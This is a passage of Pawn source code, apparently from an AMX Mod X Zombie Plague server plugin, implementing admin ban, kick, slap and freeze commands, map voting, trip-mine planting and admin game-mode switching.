	read_argv(1, cArgument, 31);
	if (contain(cArgument, ":") != -1)
	{
		server_cmd("removeid %s;writeid", cArgument);
		MessageLog(0, "^x01[ADMIN]^x04 %s^x01: unbanned^x04 %s", g_cName[iPlayer], cArgument);
	}
	if (contain(cArgument, ".") != -1)
	{
		server_cmd("removeip ^"%s^";writeip", cArgument);
		MessageLog(0, "^x01[ADMIN]^x04 %s^x01: unbanned^x04 %s", g_cName[iPlayer], cArgument);
	}
	return 1;
}

public Command_Addban(iPlayer, iLevel, iCid)
{
	if (!GetAccess(iPlayer, 8, 3))
	{
		return 1;
	}
	if (3 < g_iLimitReached[iPlayer])
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTime;
	static iMinutes[32];
	read_argv(2, iMinutes, 31);
	iTime = clamp(str_to_num(iMinutes), 0, 999999);
	if (contain(cArgument, ":") != -1 && contain(cArgument, ".0") != -1 && cArgument[0] != 48)
	{
		server_cmd("banid %i %s", iTime, cArgument);
		server_cmd("writeid");
		if (iTime)
		{
			MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ban^x04 %s^x01 for^x04 %i minutes", g_cName[iPlayer], cArgument, iTime);
		}
		else
		{
			MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ban^x04 %s^x03 permanently", g_cName[iPlayer], cArgument);
		}
		g_iLimitReached[iPlayer]++;
	}
	if (contain(cArgument, ".") != -1 && contain(cArgument, ".0") != -1 && cArgument[0] != 48)
	{
		server_cmd("addip %i ^"%s^";writeip", iTime, cArgument);
		if (iTime)
		{
			MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ban^x04 %s^x01 for^x04 %i minutes", g_cName[iPlayer], cArgument, iTime);
		}
		else
		{
			MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ban^x04 %s^x03 permanently", g_cName[iPlayer], cArgument);
		}
		g_iLimitReached[iPlayer]++;
	}
	return 1;
}

public Command_Banip(iPlayer, iLevel, iCid)
{
	if (!GetAccess(iPlayer, 8, 4))
	{
		return 1;
	}
	static szArgument[32];
	read_argv(1, szArgument, 31);
	static iTime;
	static szTime[7];
	read_argv(2, szTime, 6);
	iTime = clamp(str_to_num(szTime), 0, 999999);
	static szReason[64];
	read_argv(3, szReason, 63);
	static iTarget;
	iTarget = GetTarget(iPlayer, szArgument, 4);
	if (!iTarget)
	{
		return 1;
	}
	g_iLimitReached[iPlayer]++;
	if (3 < g_iLimitReached[iPlayer])
	{
		return 1;
	}
	console_print(iTarget, "*****************************");
	console_print(iTarget, "Ban Informations:");
	console_print(iTarget, "[*] Banned by admin: %s", g_cName[iPlayer]);
	if (iTime)
	{
		console_print(iTarget, "[*] Banned for: %i minutes", iTime);
	}
	else
	{
		console_print(iTarget, "[*] Banned permanently");
	}
	console_print(iTarget, "[*] Banned on: %s", g_cPlayerAddress[iTarget]);
	console_print(iTarget, "[*] Ban reason is: %s", szReason);
	console_print(iTarget, "*****************************");
	server_cmd("addip %i %s;writeip", iTime, g_cPlayerAddress[iTarget]);
	if (iTime)
	{
		MessageLog(0, "^x01[ADMIN]^x04 %s^x01: banned^x04 %s^x01 for^x04 %i minutes", g_cName[iPlayer], g_cName[iTarget], iTime);
		MessageLog(0, "^x01Reason:^x04 %s", szReason);
	}
	else
	{
		MessageLog(0, "^x01[ADMIN]^x04 %s^x01: banned^x04 %s^x03 permanently", g_cName[iPlayer], g_cName[iTarget]);
		MessageLog(0, "^x01Reason:^x04 %s", szReason);
	}
	return 1;
}

public CmdFreeze(iPlayer)
{
	if (!GetAccess(iPlayer, 8, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 6);
	if (!iTarget)
	{
		return 1;
	}
	PrintToChat(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x04 frost^x01 due to^x04 camping", g_cName[iPlayer], g_cName[iTarget]);
	set_frozen(iTarget, true);
	set_glow(iTarget, 19, 32, 0, 50, 90);
	g_bFrozen[iTarget] = true;
	ExecuteHamB(Ham_Item_PreFrame, iTarget);
	return 1;
}

public CmdUnfreeze(iPlayer)
{
	if (!GetAccess(iPlayer, 8, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 6);
	if (!iTarget)
	{
		return 1;
	}
	PrintToChat(0, "^x01[ADMIN]^x04 %s:^x01 made^x04 %s^x03 unfrozen", g_cName[iPlayer], g_cName[iTarget]);
	set_frozen(iTarget, false);
	remove_glow(iTarget);
	g_bFrozen[iTarget] = false;
	ExecuteHamB(Ham_Item_PreFrame, iTarget);
	return 1;
}

public Command_Kick(iPlayer)
{
	if (!GetAccess(iPlayer, 4, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 5);
	if (!iTarget)
	{
		return 1;
	}
	server_cmd("kick #%i", get_user_userid(iTarget));
	MessageLog(0, "^x01[ADMIN]^x04 %s^x01: kick^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
	return 1;
}

public Command_Slap(iPlayer)
{
	if (!GetAccess(iPlayer, 16, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 6);
	if (!iTarget)
	{
		return 1;
	}
	user_slap(iTarget, 0, 1);
	MessageLog(0, "^x01[ADMIN]^x04 %s^x01: slap^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
	return 1;
}

public Command_Slay(iPlayer)
{
	if (!GetAccess(iPlayer, 16, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 6);
	if (!iTarget)
	{
		return 1;
	}
	user_kill(iTarget);
	MessageLog(0, "^x01[ADMIN]^x04 %s^x01: slay^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
	return 1;
}

public Command_Map(iPlayer)
{
	if (!GetAccess(iPlayer, 1, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	if (is_map_valid(cArgument))
	{
		MessageLog(0, "^x01[ADMIN]^x04 %s^x01: change map to^x04 %s", g_cName[iPlayer], cArgument);
		set_cvar_string("nextmap", cArgument);
		set_task(1.0, "TaskInt", 0, "", 0, "", 0);
		set_task(3.0, "TaskChangeLevel", 0, "", 0, "", 0);
	}
	else
	{
		client_print(iPlayer, 2, "[AMXX] The map you want isn't a valid map!");
	}
	return 1;
}

public Command_AddFake(iPlayer)
{
	if (!GetAccess(iPlayer, 1, 2))
	{
		return 1;
	}
	remove_task(750);
	set_task(3.0, "Task_CheckBots", 750, "", 0, "b", 0);
	return 1;
}

public MessageMoney(iMessage, iDestination, iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		reset_money(iPlayer);
	}
	return 1;
}

public CmdVoteMap(iPlayer)
{
	if (get_user_flags(iPlayer) & 8)
	{
		if (3 > read_argc())
		{
			console_print(iPlayer, "[ZP] Command usage is amx_votemap <map> <map>");
			return 1;
		}
		if (g_bVoting || g_bSecondVoting)
		{
			console_print(iPlayer, "[ZP] You can't start the vote right now..");
			return 1;
		}
		static cSecondMap[32];
		static cMap[32];
		read_argv(1, cMap, 32);
		read_argv(2, cSecondMap, 32);
		if (is_map_valid(cMap) && is_map_valid(cSecondMap))
		{
			static i;
			g_bSecondVoting = true;
			set_task(15.0, "CheckSecondVotes", iPlayer, "", 0, "", 0);
			MessageLog(0, "^x04[ZP]^x01 ADMIN^x04 %s^x01 initiated a vote with^x04 %s^x01 and^x04 %s", g_cName[iPlayer], cMap, cSecondMap);
			copy(g_cSecondMaps[0], 32, cMap);
			copy(g_cSecondMaps[1], 32, cSecondMap);
			g_iMenu = menu_create("Choose the next map!", "SecondVotePanel");
			menu_additem(g_iMenu, cMap, "1", 0, -1);
			menu_additem(g_iMenu, cSecondMap, "2", 0, -1);
			menu_setprop(g_iMenu, 6, -1);
			i = 1;
			while (g_iMaxClients + 1 > i)
			{
				if (g_bConnected[i] && !g_bFake[i])
				{
					menu_display(i, g_iMenu);
				}
				i += 1;
			}
		}
		else
		{
			console_print(iPlayer, "[ZP] Unable to find specified map or one of the specified map(s)!");
		}
		return 1;
	}
	return 0;
}

public VotePanel(iPlayer, iMenu, iItem)
{
	if (iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && !g_bFake[iPlayer])
	{
		if (g_bVoting)
		{
			static iKeyMinusDoi;
			static iKeyMinusUnu;
			static iKey;
			static iDummy;
			static cData[32];
			menu_item_getinfo(iMenu, iItem, iDummy, cData, charsmax ( cData ), _, _, iDummy);
			iKey = str_to_num(cData);
			iKeyMinusUnu = iKey + -1;
			iKeyMinusDoi = iKey + -2;
			if (0 > iKeyMinusUnu)
			{
				iKeyMinusUnu = 0;
			}
			if (0 > iKeyMinusDoi)
			{
				iKeyMinusDoi = 0;
			}
			if (iKey == 1)
			{
				if (g_iVotes[0] + 1 == 1)	
				{	
				    PrintToChat(0, "^1Player^4 %s^1 voted for^4 map extending^1 (^4%d^1 votes)", g_cName[iPlayer], g_iVotes[0] + 1);
				}	
				else
				{
				    PrintToChat(0, "^1Player^4 %s^1 voted for^4 map extending^1 (^4%d^1 votes)", g_cName[iPlayer], g_iVotes[0] + 1);
				}	
			}
			else
			{
				if (g_iVotes[iKeyMinusUnu] == 1)
				{
					PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1);
				}	
				else
				{
 					PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1);
				}	
			}
			g_iVotes[iKeyMinusUnu]++;
		}
		else
		{
			PrintToChat(iPlayer, "^1This vote is^4 no longer^1 available!");
			return 1;
		}
	}
	return 0;
}

public SecondVotePanel(iPlayer, iMenu, iItem)
{
	if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && !g_bFake[iPlayer])
	{
		if (g_bSecondVoting)
		{
			static iKeyMinusUnu;
			static iKey;
			static iDummy;
			static cData[32];
			menu_item_getinfo(iMenu, iItem, iDummy, cData, charsmax ( cData ), _, _, iDummy);
			iKey = str_to_num(cData);
			iKeyMinusUnu = iKey + -1;
			if (0 > iKeyMinusUnu)
			{
				iKeyMinusUnu = 0;
			}
			if (g_iSecondVotes[iKeyMinusUnu] == 1)
			{
			    PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1);

			}
			else
			{
			    PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1);
			}
			g_iSecondVotes[iKeyMinusUnu]++;
		}
		else
		{
			PrintToChat(iPlayer, "^1This vote is^4 no longer^1 available!");
			return 1;
		}
	}
	return 0;
}

public TaskInt()
{
	send_intermission();
	return 0;
}

public TaskChangeLevel()
{
	changelevel();
	return 0;
}

public CheckSecondVotes(iPlayer)
{
	static iVoteOption;
	static iMaximumVotes;
	g_bSecondVoting = false;
	iMaximumVotes = -1;
	g_iVariable = 0;
	while (g_iVariable < 2)
	{
		if (iMaximumVotes < g_iSecondVotes[g_iVariable])
		{
			iMaximumVotes = g_iSecondVotes[g_iVariable];
			iVoteOption = g_iVariable;
		}
		g_iVariable += 1;
	}
	PrintToChat(0, "^x01The next map will be^x04 %s", g_cSecondMaps[iVoteOption]);
	set_cvar_string("nextmap", g_cSecondMaps[iVoteOption]);
	if (g_bConnected[iPlayer] && !g_bFake[iPlayer])
	{
        g_iMenu = menu_create("Do you want to change it right now?", "_MenuChange");
        menu_additem(g_iMenu, "Yes, change it now!", "0", 0, -1);
        menu_additem(g_iMenu, "Change it just next map...", "1", 0, -1);
        menu_additem(g_iMenu, "Don't change it!", "2", 0, -1);
        menu_setprop(g_iMenu, 6, -1);
        menu_display(iPlayer, g_iMenu, 0);
	}
	g_iSecondVotes[1] = 0;
	g_iSecondVotes[0] = 0;
	return 0;
}

public _MenuChange(iPlayer, iMenu, iItem)
{
	static iChoice;
	static iDummy;
	static cBuffer[3];
	menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
	iChoice = str_to_num(cBuffer);
	switch (iChoice)
	{
		case 0:
		{
			static cMap[32];
			get_cvar_string("nextmap", cMap, 32);
			PrintToChat(0, "^x04[ZP]^x01 Changing map to^x04 %s^x01...", cMap);
			set_cvar_num("mp_timelimit", 0);
			set_task(1.0, "TaskChangeLevel", 0, "", 0, "", 0);
		}
		case 1:
		{
			static cMap[32];
			get_cvar_string("nextmap", cMap, 32);
			PrintToChat(0, "^x04[ZP]^x01 Console variable^x04 nextmap^x01 has been changed to^x04 %s^x01...", cMap);
			set_cvar_num("mp_timelimit", 0);
			g_iVariables[0] = 1;
		}
		case 2:
		{
			PrintToChat(0, "^x04[ZP]^x01 We will stay here...");
		}	
	}
	return 0;
}

public CheckVotes()
{
	static iVoteOption;
	static iMaximumVotes;
	g_bVoting = false;
	iMaximumVotes = -1;
	g_iVariable = 0;
	while (g_iVariable < 5)
	{
		if (iMaximumVotes < g_iVotes[g_iVariable])
		{
			iMaximumVotes = g_iVotes[g_iVariable];
			iVoteOption = g_iVariable;
		}
		g_iVariable += 1;
	}
	if (iVoteOption)
	{
		PrintToChat(0, "^x01The next map will be^x04 %s", g_cMaps[iVoteOption + -1]);
		set_cvar_string("nextmap", g_cMaps[iVoteOption + -1]);
		set_cvar_num("mp_timelimit", 0);
		g_iVariables[0] = 1;
	}
	else
	{
		PrintToChat(0, "^x01This map will be extended with^x04 10^x01 minutes!");
		g_iVariable = 0;
		while (g_iVariable < 5)
		{
			g_iVotes[g_iVariable] = 0;
			g_iVariable += 1;
		}
		set_task(30.0, "CheckTimeleft", 25613, "", 0, "b", 0);
		set_cvar_num("mp_timelimit", get_cvar_num("mp_timelimit") + 10);
	}
	g_iVariable = 0;
	while (g_iVariable < 5)
	{
		g_iVotes[g_iVariable] = 0;
		g_iVariable += 1;
	}
	return 0;
}

public CheckTimeleft(iDecimal)
{
	static Float:fTimeLeft;
	fTimeLeft = GetTimeLeft();
	if (get_cvar_num("mp_timelimit") && fTimeLeft < 200.0 && !g_bSecondVoting && !g_bVoting)
	{
		remove_task(iDecimal);
		g_bVoting = true;
		set_task(15.0, "CheckVotes", 0, "", 0, "", 0);
		g_iMenu = menu_create("Choose the next map!", "VotePanel");
		menu_additem(g_iMenu, "Extend this map", "1", 0, -1);
		static j[32];
		static i;
		i = 2;
		g_iVariable = 0;
		while (g_iVariable < 4)
		{
			num_to_str(i, j, 32);
			menu_additem(g_iMenu, g_cMaps[g_iVariable], j, 0, -1);
			i += 1;
			g_iVariable += 1;
		}
		menu_setprop(g_iMenu, 6, -1);
		g_iVariable = 1;
		while (g_iMaxClients + 1 > g_iVariable)
		{
			if (g_bConnected[g_iVariable] && !g_bFake[g_iVariable])
			{
				menu_display(g_iVariable, g_iMenu);
			}
			g_iVariable += 1;
		}
		PrintToChat(0, "^x01It's time to^x04 choose the nextmap^x01...");
		client_cmd(0, "spk Gman/Gman_Choose2");
	}
	return 0;
}

Float:GetTimeLeft()
{
    return get_cvar_float("mp_timelimit") * 60.0 - get_gametime();
}

public Command_Plant(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (!g_bAlive[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You should be alive");
			return 0;
		}
		if (g_bZombie[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You should be human");
			return 0;
		}
		if (!g_iTripMines[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You don't have a trip mine to plant");
			return 0;
		}
		if (1 < g_iPlantedMines[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You can plant only^3 2 trip mines^1...");
			return 0;
		}
		if (g_iRoundType & 128 || g_bRoundEnd)
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You can't plant a trip mine right now...");
			return 0;
		}
		if (g_bPlanting[iPlayer] || g_bRemoving[iPlayer])
		{
			return 0;
		}
		if (CanPlant(iPlayer))
		{
			g_bPlanting[iPlayer] = true;
			send_bar_time(iPlayer);
			set_task(1.0, "Func_Plant", iPlayer + 450, "", 0, "", 0);
		}
	}
	return 0;
}

public Command_Take(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (!g_bAlive[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You should be alive");
			return 0;
		}
		if (g_bZombie[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You should be human");
			return 0;
		}
		if (!g_iPlantedMines[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You don't have a planted trip mine");
			return 0;
		}
		if (g_bPlanting[iPlayer] || g_bRemoving[iPlayer])
		{
			return 0;
		}
		if (can(iPlayer))
		{
			g_bRemoving[iPlayer] = true;
			send_bar_time(iPlayer);
			set_task(1.0, "Func_Take", iPlayer + 500, "", 0, "", 0);
		}
	}
	return 0;
}

public Func_Take(iPlayer)
{
	iPlayer += -500;
	g_bRemoving[iPlayer] = false;
	static iCount;
	static iEntities[2];
	iCount = ent(iPlayer, iEntities);
	if (iCount)
	{
		g_iPlantedMines[iPlayer]--;
		g_iTripMines[iPlayer]++;
		if (iEntities[0] == g_iPlayerMines[iPlayer][0])
		{
			g_iPlayerMines[iPlayer][0] = 0;
		}
		else if (iEntities[0] == g_iPlayerMines[iPlayer][1])
		{
			g_iPlayerMines[iPlayer][1] = 0;
		}
		remove_entity(iEntities[0]);
	}
	return 0;
}

public bool: CanPlant( iPlayer )
{
    static Float:flOrigin[ 3 ];
    entity_get_vector( iPlayer, EV_VEC_origin, flOrigin );
    static Float:flTraceDirection[ 3 ];
    static Float:flTraceEnd[ 3 ];
    static Float:flTraceResult[ 3 ];
    static Float:flNormal[ 3 ];
    velocity_by_aim( iPlayer, 64, flTraceDirection );
    flTraceEnd[ 0 ] = flTraceDirection[ 0 ] + flOrigin[ 0 ];
    flTraceEnd[ 1 ] = flTraceDirection[ 1 ] + flOrigin[ 1 ];
    flTraceEnd[ 2 ] = flTraceDirection[ 2 ] + flOrigin[ 2 ];
    static Float: flFraction, iTr;
    iTr = 0;
    engfunc( EngFunc_TraceLine, flOrigin, flTraceEnd, 0, iPlayer, iTr );
    get_tr2( iTr, TR_vecEndPos, flTraceResult );
    get_tr2( iTr, TR_vecPlaneNormal, flNormal );
    get_tr2( iTr, TR_flFraction, flFraction );
    if( flFraction >= 1.0 )
    {
        send_say_text(iPlayer, g_iMaxClients + 1, "^x04[ZP]^x01 You must plant the^x03 mine^x01 on a wall!");
        return false;
    }
    return true;
}

public Func_Plant(iPlayer) 
{
	iPlayer -= 450;
	g_bPlanting[ iPlayer ] = false;
	static iEntity;
	static Float: flOrigin[ 3 ];
	entity_get_vector( iPlayer, EV_VEC_origin, flOrigin );
	static Float: flTraceDirection[ 3 ], Float: flTraceEnd[ 3 ], Float: flTraceResult[ 3 ], Float: flNormal[ 3 ];
	velocity_by_aim( iPlayer, 128, flTraceDirection );
	flTraceEnd[ 0 ] = flTraceDirection[ 0 ] + flOrigin[ 0 ];
	flTraceEnd[ 1 ] = flTraceDirection[ 1 ] + flOrigin[ 1 ];
	flTraceEnd[ 2 ] = flTraceDirection[ 2 ] + flOrigin[ 2 ];
	static Float: flFraction, iTr;
	iTr = 0;
	engfunc( EngFunc_TraceLine, flOrigin, flTraceEnd, 0, iPlayer, iTr );
	get_tr2( iTr, TR_vecEndPos, flTraceResult );
	get_tr2( iTr, TR_vecPlaneNormal, flNormal );
	get_tr2( iTr, TR_flFraction, flFraction );
	iEntity = create_mine();
	if(!iEntity)
	{
		return 0;
	}
	set_glow(iEntity, 19, 13, 0, 120, 240);
	entity_set_int( iEntity, EV_INT_iuser2, iPlayer )
	g_iPlantedMines[ iPlayer ]++;
	set_pev( iEntity, pev_iuser3, g_iPlantedMines[ iPlayer ] );
	entity_set_float( iEntity, EV_FL_frame, 0.0 );
	entity_set_float( iEntity, EV_FL_framerate, 0.0 );
	entity_set_int( iEntity, EV_INT_movetype, MOVETYPE_FLY );
	entity_set_int( iEntity, EV_INT_solid, SOLID_NOT );
	entity_set_int( iEntity, EV_INT_body, 3 );
	entity_set_int( iEntity, EV_INT_sequence, 7 );
	entity_set_float( iEntity, EV_FL_takedamage, DAMAGE_NO );
	entity_set_int( iEntity, EV_INT_iuser1, 0 );
	static Float: flNewOrigin[ 3 ], Float: flEntAngles[ 3 ];
	flNewOrigin[ 0 ] = flTraceResult[ 0 ] + ( flNormal[ 0 ] * 8.0 );
	flNewOrigin[ 1 ] = flTraceResult[ 1 ] + ( flNormal[ 1 ] * 8.0 );
	flNewOrigin[ 2 ] = flTraceResult[ 2 ] + ( flNormal[ 2 ] * 8.0 );
	entity_set_origin( iEntity, flNewOrigin );
	vector_to_angle( flNormal, flEntAngles );
	entity_set_vector( iEntity, EV_VEC_angles, flEntAngles );
	flEntAngles[ 0 ] *= -1.0;
	flEntAngles[ 1 ] *= -1.0;
	flEntAngles[ 2 ] *= -1.0;
	entity_set_vector( iEntity, EV_VEC_v_angle, flEntAngles );
	g_iTripMines[iPlayer]--;
	if (g_iPlayerMines[iPlayer][0])
	{
		g_iPlayerMines[iPlayer][1] = iEntity;
	}
	else
	{
		g_iPlayerMines[iPlayer][0] = iEntity;
	}
	sound(iEntity, 3, "zombie_plague/mine_deploy.wav");
	sound(iEntity, 3, "zombie_plague/mine_charge.wav");
	set_nextthink(iEntity, get_gametime() + 0.6);
	return 0;
}

public CmdMode(iPlayer)
{
	if (g_bAdmin[iPlayer])
	{
		static iJetpacks[33];
		static AssassinUsed;
		static NemesisUsed;
		static UsedAlready[33];
		static iAmmo;
		static cAmmo[4];
		static iAlive;
		static iTarget;
		static cTarget[32];
		static iFlags;
		static cMode[32];
		read_argv(0, cMode, 32);
		read_argv(1, cTarget, 31);
		read_argv(2, cAmmo, 4);
		iAmmo = clamp(str_to_num(cAmmo), 0, 999999);
		iAlive = GetAliveCount();
		iTarget = GetTarget(iPlayer, cTarget, 0);
		iFlags = get_user_flags(iPlayer);
		if (get_gametime() - g_fRoundStartTime < 2.0)
		{
			PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after round started!");
			console_print(iPlayer, "[ZP] Please wait at least two seconds after round started!");
			return 0;
		}
		if (equal(cMode, "zp_jetpack") && iTarget && iFlags & 1 && g_bAlive[iTarget] && !g_bZombie[iTarget] && iJetpacks[iPlayer] <= 3)
		{
			if (get_user_jetpack(iTarget))
			{
				user_drop_jetpack(iTarget, 1);
			}
			set_user_jetpack(iTarget, 1);
			iJetpacks[iPlayer]++;
			set_user_fuel(iTarget, 250.0);
			set_user_rocket_time(iTarget, 0.0);
			send_say_text(iTarget, g_iMaxClients + 1, "^x04[ZP]^x01 Press^x03 CTR+SPACE^x01 to fly!");
			send_say_text(iTarget, g_iMaxClients + 1, "^x04[ZP]^x01 Press^x03 RIGHT CLICK^x01 to shoot!");
		}
		if (equal(cMode, "zp_giveap") && iTarget && iFlags & 1)
		{
			PrintToChat(0, "^x01[ADMIN]^x04 %s^x01: give^x04 %d^x01 ammopacks to^x04 %s", g_cName[iPlayer], iAmmo, g_cName[iTarget]);
			g_iPacks[iTarget] += iAmmo;
		}
		if (equal(cMode, "zp_human") && iTarget && g_bAlive[iTarget] && !UsedAlready[iPlayer] && iAlive > 2 && !g_iRoundType && g_iRoundsCount && iFlags & 131072)
		{
			if (!g_iPlayerType[iTarget] && !g_bZombie[iTarget])
			{
				return 0;
			}
			MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Human", g_cName[iPlayer], g_cName[iTarget]);
			MakeHuman(iTarget, false, false);
			UsedAlready[iPlayer] = 1;
			log_to_file("zombie_plague_advance.log", "%s made %s a Human", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "zp_respawn") && iTarget && !g_bAlive[iTarget] && !UsedAlready[iPlayer] && !g_iRoundType && g_iRoundsCount && 0 < get_user_team(iTarget) < 3 && iFlags & 131072)
		{
			ExecuteHamB(Ham_CS_RoundRespawn, iTarget);
			MessageLog(0, "^x01[ADMIN]^x04 %s^x01: respawned^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
			UsedAlready[iPlayer] = 1;
			log_to_file("zombie_plague_advance.log", "%s respawn %s", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "zp_zombie") && iTarget && g_bAlive[iTarget] && !UsedAlready[iPlayer] && !g_iRoundType && g_iRoundsCount && iFlags & 131072)
		{
			if (g_bZombie[iTarget] && !g_iPlayerType[iTarget])
			{
				return 0;
			}
			if (g_bRoundStart)
			{
				StartNormalMode(iTarget);
				remove_task(700);
				g_bRoundStart = false;
				remove_task(550);
				MakeZombie(0, iTarget, false, false, false);
				MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Zombie", g_cName[iPlayer], g_cName[iTarget]);
				UsedAlready[iPlayer] = 1;
				log_to_file("zombie_plague_advance.log", "%s made %s Zombie", g_cName[iPlayer], g_cName[iTarget]);				
			}
		}
		if (equal(cMode, "zp_sniper") && iTarget && g_bAlive[iTarget] && !(g_iPlayerType[iTarget] & 8) && iFlags & 1)
		{
			if (g_bRoundStart)
			{			
				StartSniperMode(iTarget);
				remove_task(700);
				g_bRoundStart = false;
				remove_task(550);
				MakeHuman(iTarget, false, true);
				MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Sniper", g_cName[iPlayer], g_cName[iTarget]);
				log_to_file("zombie_plague_advance.log", "%s made %s Sniper", g_cName[iPlayer], g_cName[iTarget]);
			}
		}
		if (equal(cMode, "zp_survivor") && iTarget && g_bAlive[iTarget] && !(g_iPlayerType[iTarget] & 4) && iFlags & 1)
		{
			if (g_bRoundStart)
			{							
				StartSurvivorMode(iTarget);
				remove_task(700);
				g_bRoundStart = false;
				remove_task(550);
				MakeHuman(iTarget, true, false);
				MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Survivor", g_cName[iPlayer], g_cName[iTarget]);
				log_to_file("zombie_plague_advance.log", "%s made %s Survivor", g_cName[iPlayer], g_cName[iTarget]);
			}			
		}
		if (equal(cMode, "zp_nemesis") && iTarget && g_bAlive[iTarget] && !NemesisUsed && !(g_iPlayerType[iTarget] & 1) && iFlags & 262144)
		{
			if (g_bRoundStart)
			{					
				StartNemesisMode(iTarget);
				remove_task(700);
				g_bRoundStart = false;
				remove_task(550);
				NemesisUsed = 1;
				MakeZombie(0, iTarget, false, true, false);
				MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Nemesis", g_cName[iPlayer], g_cName[iTarget]);
				log_to_file("zombie_plague_advance.log", "%s made %s Nemesis", g_cName[iPlayer], g_cName[iTarget]);	
			}			
		}
		if (equal(cMode, "zp_assassin") && iTarget && g_bAlive[iTarget] && !AssassinUsed && !(g_iPlayerType[iTarget] & 2) && iFlags & 262144)
		{
			if (g_bRoundStart)
			{							
				StartAssassinMode(iTarget);
				remove_task(700);
				g_bRoundStart = false;
				remove_task(550);
				AssassinUsed = 1;
				MakeZombie(0, iTarget, false, false, true);
				MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Assassin", g_cName[iPlayer], g_cName[iTarget]);
				log_to_file("zombie_plague_advance.log", "%s made %s Assassin", g_cName[iPlayer], g_cName[iTarget]);	
			}			
		}
		if (equal(cMode, "zp_swarm") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 64)
		{
			StartSwarmMode(true);
			remove_task(700);
			g_bRoundStart = false;
			remove_task(550);
			MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Swarm^x01 round!", g_cName[iPlayer]);
		}
		if (equal(cMode, "zp_plague") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 32)
		{
			StartPlagueMode(true);
			remove_task(700);
			g_bRoundStart = false;
			remove_task(550);
			MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Plague^x01 round!", g_cName[iPlayer]);
		}
		if (equal(cMode, "zp_lnj") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 128)
		{
			StartArmageddonMode(true);
			remove_task(700);
			g_bRoundStart = false;
			remove_task(550);
			MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Armageddon^x01 round!", g_cName[iPlayer]);
		}
		if (equal(cMode, "zp_nightmare") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 256)
		{
			StartNightmareMode(true);
			remove_task(700);
			g_bRoundStart = false;
			remove_task(550);
			MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Nightmare^x01 round!", g_cName[iPlayer]);
		}
		if (equal(cMode, "zp_avs", 0) && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 512)
		{
			StartAssassinsVsSnipersMode(true);
			remove_task(700);
			g_bRoundStart = false;
			remove_task(550);
			MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Assassins vs Snipers^x01 round!", g_cName[iPlayer]);
		}
